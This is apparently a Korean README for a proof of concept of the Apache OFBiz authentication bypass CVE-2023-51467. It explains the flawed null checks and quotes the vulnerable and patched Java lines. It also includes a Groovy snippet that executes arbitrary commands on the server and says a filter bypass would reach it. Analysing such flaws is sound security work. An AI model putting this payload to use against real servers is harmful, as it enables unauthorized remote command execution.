
CVE-2023-51467 POC
exp.py를 명령 실행으로 변경
직렬화 취약점 악용
인증 우회 테스트
인증 검증 시 잘못된 null 사용으로 인해 판단이 제대로 이루어지지 않았고, 이 방식이 효과가 없어 인증 우회가 발생했습니다.
if (username == null) username = (String) session.getAttribute("USERNAME");
if (password == null) password = (String) session.getAttribute("PASSWORD");
if (token == null) token = (String) session.getAttribute("TOKEN");
if (UtilValidate.isEmpty(username)) username = (String) session.getAttribute("USERNAME");
if (UtilValidate.isEmpty(password)) password = (String) session.getAttribute("PASSWORD");
if (UtilValidate.isEmpty(token)) token = (String) session.getAttribute("TOKEN");
누군가 직접 명령 실행 가능성을 분석했지만, 이를 위해서는 Groovy 필터를 우회해야 합니다. 또는 더 좋은 실행 진입점이 있을 수 있습니다. rce.txt
def process = cmd.execute()
process.waitFor()
println "Exit code: ${process.exitValue()}"
println "Output:\n${process.text}"```
## 참고
https://github.com/apache/ofbiz-framework/commit/47e7959065b82b170da5c330ed5c17af16415ede#diff-68decfd4946b8ef0adcc4c7f18b938aec4a07ff7ce64609a2691ba88a4688607
https://mp.weixin.qq.com/s/vdyqfm0FkbKp5W2LilhbXA
불법 목적으로 사용하지 마십시오.